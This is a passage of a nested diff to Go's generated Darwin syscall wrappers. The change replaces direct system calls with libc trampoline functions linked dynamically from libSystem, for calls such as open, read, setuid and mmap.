-+ _, _, e1 := syscall_syscall(funcPC(libc_mkfifo_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkfifo_trampoline()
-+
-+//go:linkname libc_mkfifo libc_mkfifo
-+//go:cgo_import_dynamic libc_mkfifo mkfifo "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mknod(path string, mode uint32, dev int) (err error) {
-@@ -996,13 +1569,18 @@ func Mknod(path string, mode uint32, dev int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mknod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mknod_trampoline()
-+
-+//go:linkname libc_mknod libc_mknod
-+//go:cgo_import_dynamic libc_mknod mknod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Open(path string, mode int, perm uint32) (fd int, err error) {
-@@ -1011,7 +1589,7 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_open_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1019,6 +1597,11 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_open_trampoline()
-+
-+//go:linkname libc_open libc_open
-+//go:cgo_import_dynamic libc_open open "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-@@ -1027,7 +1610,7 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_openat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1035,6 +1618,11 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_openat_trampoline()
-+
-+//go:linkname libc_openat libc_openat
-+//go:cgo_import_dynamic libc_openat openat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pathconf(path string, name int) (val int, err error) {
-@@ -1043,7 +1631,7 @@ func Pathconf(path string, name int) (val int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_pathconf_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1051,6 +1639,11 @@ func Pathconf(path string, name int) (val int, err error) {
- return
- }
-
-+func libc_pathconf_trampoline()
-+
-+//go:linkname libc_pathconf libc_pathconf
-+//go:cgo_import_dynamic libc_pathconf pathconf "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pread(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1060,7 +1653,7 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pread_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1068,6 +1661,11 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pread_trampoline()
-+
-+//go:linkname libc_pread libc_pread
-+//go:cgo_import_dynamic libc_pread pread "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1077,7 +1675,7 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pwrite_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1085,6 +1683,11 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pwrite_trampoline()
-+
-+//go:linkname libc_pwrite libc_pwrite
-+//go:cgo_import_dynamic libc_pwrite pwrite "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func read(fd int, p []byte) (n int, err error) {
-@@ -1094,7 +1697,7 @@ func read(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1102,6 +1705,11 @@ func read(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_read_trampoline()
-+
-+//go:linkname libc_read libc_read
-+//go:cgo_import_dynamic libc_read read "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlink(path string, buf []byte) (n int, err error) {
-@@ -1116,7 +1724,7 @@ func Readlink(path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_readlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1124,6 +1732,11 @@ func Readlink(path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlink_trampoline()
-+
-+//go:linkname libc_readlink libc_readlink
-+//go:cgo_import_dynamic libc_readlink readlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-@@ -1138,7 +1751,7 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_readlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1146,6 +1759,11 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlinkat_trampoline()
-+
-+//go:linkname libc_readlinkat libc_readlinkat
-+//go:cgo_import_dynamic libc_readlinkat readlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rename(from string, to string) (err error) {
-@@ -1159,13 +1777,18 @@ func Rename(from string, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rename_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rename_trampoline()
-+
-+//go:linkname libc_rename libc_rename
-+//go:cgo_import_dynamic libc_rename rename "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-@@ -1179,13 +1802,18 @@ func Renameat(fromfd int, from string, tofd int, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_renameat_trampoline), uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_renameat_trampoline()
-+
-+//go:linkname libc_renameat libc_renameat
-+//go:cgo_import_dynamic libc_renameat renameat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Revoke(path string) (err error) {
-@@ -1194,13 +1822,18 @@ func Revoke(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_revoke_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_revoke_trampoline()
-+
-+//go:linkname libc_revoke libc_revoke
-+//go:cgo_import_dynamic libc_revoke revoke "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rmdir(path string) (err error) {
-@@ -1209,17 +1842,22 @@ func Rmdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rmdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rmdir_trampoline()
-+
-+//go:linkname libc_rmdir libc_rmdir
-+//go:cgo_import_dynamic libc_rmdir rmdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_lseek_trampoline), uintptr(fd), uintptr(offset), uintptr(whence))
- newoffset = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1227,46 +1865,72 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- return
- }
-
-+func libc_lseek_trampoline()
-+
-+//go:linkname libc_lseek libc_lseek
-+//go:cgo_import_dynamic libc_lseek lseek "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_select_trampoline), uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_select_trampoline()
-+
-+//go:linkname libc_select libc_select
-+//go:cgo_import_dynamic libc_select select "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setegid(egid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETEGID, uintptr(egid), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setegid_trampoline), uintptr(egid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setegid_trampoline()
-+
-+//go:linkname libc_setegid libc_setegid
-+//go:cgo_import_dynamic libc_setegid setegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seteuid(euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_seteuid_trampoline), uintptr(euid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_seteuid_trampoline()
-+
-+//go:linkname libc_seteuid libc_seteuid
-+//go:cgo_import_dynamic libc_seteuid seteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setgid(gid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgid_trampoline), uintptr(gid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgid_trampoline()
-+
-+//go:linkname libc_setgid libc_setgid
-+//go:cgo_import_dynamic libc_setgid setgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setlogin(name string) (err error) {
-@@ -1275,77 +1939,112 @@ func Setlogin(name string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setlogin_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setlogin_trampoline()
-+
-+//go:linkname libc_setlogin libc_setlogin
-+//go:cgo_import_dynamic libc_setlogin setlogin "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setpgid_trampoline), uintptr(pid), uintptr(pgid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpgid_trampoline()
-+
-+//go:linkname libc_setpgid libc_setpgid
-+//go:cgo_import_dynamic libc_setpgid setpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-+ _, _, e1 := syscall_syscall(funcPC(libc_setpriority_trampoline), uintptr(which), uintptr(who), uintptr(prio))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpriority_trampoline()
-+
-+//go:linkname libc_setpriority libc_setpriority
-+//go:cgo_import_dynamic libc_setpriority setpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setprivexec(flag int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIVEXEC, uintptr(flag), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setprivexec_trampoline), uintptr(flag), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setprivexec_trampoline()
-+
-+//go:linkname libc_setprivexec libc_setprivexec
-+//go:cgo_import_dynamic libc_setprivexec setprivexec "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setregid_trampoline), uintptr(rgid), uintptr(egid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setregid_trampoline()
-+
-+//go:linkname libc_setregid libc_setregid
-+//go:cgo_import_dynamic libc_setregid setregid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setreuid_trampoline), uintptr(ruid), uintptr(euid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setreuid_trampoline()
-+
-+//go:linkname libc_setreuid libc_setreuid
-+//go:cgo_import_dynamic libc_setreuid setreuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setrlimit_trampoline()
-+
-+//go:linkname libc_setrlimit libc_setrlimit
-+//go:cgo_import_dynamic libc_setrlimit setrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_setsid_trampoline), 0, 0, 0)
- pid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1353,55 +2052,40 @@ func Setsid() (pid int, err error) {
- return
- }
-
-+func libc_setsid_trampoline()
-+
-+//go:linkname libc_setsid libc_setsid
-+//go:cgo_import_dynamic libc_setsid setsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Settimeofday(tp *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_settimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_settimeofday_trampoline()
-
--func Setuid(uid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_settimeofday libc_settimeofday
-+//go:cgo_import_dynamic libc_settimeofday settimeofday "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+func Setuid(uid int) (err error) {
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setuid_trampoline), uintptr(uid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_setuid_trampoline()
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_setuid libc_setuid
-+//go:cgo_import_dynamic libc_setuid setuid "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -1416,13 +2100,18 @@ func Symlink(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlink_trampoline()
-+
-+//go:linkname libc_symlink libc_symlink
-+//go:cgo_import_dynamic libc_symlink symlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-@@ -1436,23 +2125,33 @@ func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlinkat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlinkat_trampoline()
-+
-+//go:linkname libc_symlinkat libc_symlinkat
-+//go:cgo_import_dynamic libc_symlinkat symlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Sync() (err error) {
-- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_sync_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sync_trampoline()
-+
-+//go:linkname libc_sync libc_sync
-+//go:cgo_import_dynamic libc_sync sync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Truncate(path string, length int64) (err error) {
-@@ -1461,21 +2160,31 @@ func Truncate(path string, length int64) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_truncate_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_truncate_trampoline()
-+
-+//go:linkname libc_truncate libc_truncate
-+//go:cgo_import_dynamic libc_truncate truncate "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Umask(newmask int) (oldmask int) {
-- r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_umask_trampoline), uintptr(newmask), 0, 0)
- oldmask = int(r0)
- return
- }
-
-+func libc_umask_trampoline()
-+
-+//go:linkname libc_umask libc_umask
-+//go:cgo_import_dynamic libc_umask umask "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Undelete(path string) (err error) {
-@@ -1484,13 +2193,18 @@ func Undelete(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_undelete_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_undelete_trampoline()
-+
-+//go:linkname libc_undelete libc_undelete
-+//go:cgo_import_dynamic libc_undelete undelete "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlink(path string) (err error) {
-@@ -1499,13 +2213,18 @@ func Unlink(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlink_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlink_trampoline()
-+
-+//go:linkname libc_unlink libc_unlink
-+//go:cgo_import_dynamic libc_unlink unlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlinkat(dirfd int, path string, flags int) (err error) {
-@@ -1514,13 +2233,18 @@ func Unlinkat(dirfd int, path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlinkat_trampoline()
-+
-+//go:linkname libc_unlinkat libc_unlinkat
-+//go:cgo_import_dynamic libc_unlinkat unlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unmount(path string, flags int) (err error) {
-@@ -1529,13 +2253,18 @@ func Unmount(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unmount_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unmount_trampoline()
-+
-+//go:linkname libc_unmount libc_unmount
-+//go:cgo_import_dynamic libc_unmount unmount "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func write(fd int, p []byte) (n int, err error) {
-@@ -1545,7 +2274,7 @@ func write(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1553,10 +2282,15 @@ func write(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_write_trampoline()
-+
-+//go:linkname libc_write libc_write
-+//go:cgo_import_dynamic libc_write write "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall6(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_mmap_trampoline), uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos))
- ret = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1564,20 +2298,30 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (
- return
- }
-
-+func libc_mmap_trampoline()
-+
